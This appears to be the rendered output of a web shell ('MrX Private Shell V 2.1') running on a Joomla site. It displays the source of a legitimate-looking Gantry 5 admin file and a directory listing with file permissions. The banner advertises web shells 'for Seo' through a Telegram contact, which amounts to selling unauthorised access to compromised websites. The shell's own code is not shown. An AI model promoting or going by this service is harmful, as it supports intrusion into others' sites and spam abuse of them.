__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry 5
* @author Tiger12 http://tiger12.com
* @originalCreator RocketTheme (Gantry Framework)
* @currentDeveloper Tiger12, LLC
* @copyright Copyright (C) 2007 - 2021 Tiger12, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
defined('_JEXEC') or die;
use Gantry\Admin\Router;
use Gantry\Framework\Gantry;
use Gantry5\Loader;
use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
/** @var AdministratorApplication $app */
$app = Factory::getApplication();
$user = $app->getIdentity();
// ACL for Gantry admin access.
if (!$user || (
!$user->authorise('core.manage', 'com_gantry5')
&& !$user->authorise('core.manage', 'com_templates')
// Editing particle module makes AJAX call to Gantry component, but has restricted access to json only.
&& !($user->authorise('core.manage', 'com_modules') && strtolower($app->input->getCmd('format', 'html')) === 'json')
)) {
$app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
return false;
}
if (!defined('GANTRYADMIN_PATH')) {
define('GANTRYADMIN_PATH', JPATH_COMPONENT_ADMINISTRATOR);
}
// Detect Gantry Framework or fail gracefully.
if (!class_exists('Gantry5\Loader')) {
$app->enqueueMessage(
Text::sprintf('COM_GANTRY5_PLUGIN_MISSING', Text::_('COM_GANTRY5')),
'error'
);
return;
}
// Initialize administrator or fail gracefully.
try {
Loader::setup();
$gantry = Gantry::instance();
$gantry['router'] = function ($c) {
return new Router($c);
};
} catch (Exception $e) {
$app->enqueueMessage(Text::sprintf($e->getMessage()), 'error');
return;
}
// Dispatch to the controller.
/** @var Router $router */
$router = $gantry['router'];
$router->dispatch();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| blueprints | Folder | 0775 |
|
|
| css-compiled | Folder | 0775 |
|
|
| fonts | Folder | 0775 |
|
|
| images | Folder | 0775 |
|
|
| install | Folder | 0775 |
|
|
| js | Folder | 0775 |
|
|
| language | Folder | 0775 |
|
|
| scss | Folder | 0775 |
|
|
| templates | Folder | 0775 |
|
|
| MD5SUMS | File | 17.63 KB | 0664 |
|
| access.xml | File | 336 B | 0664 |
|
| config.xml | File | 375 B | 0664 |
|
| gantry5.php | File | 1.79 KB | 0664 |
|
| gantry5.xml | File | 1.55 KB | 0664 |
|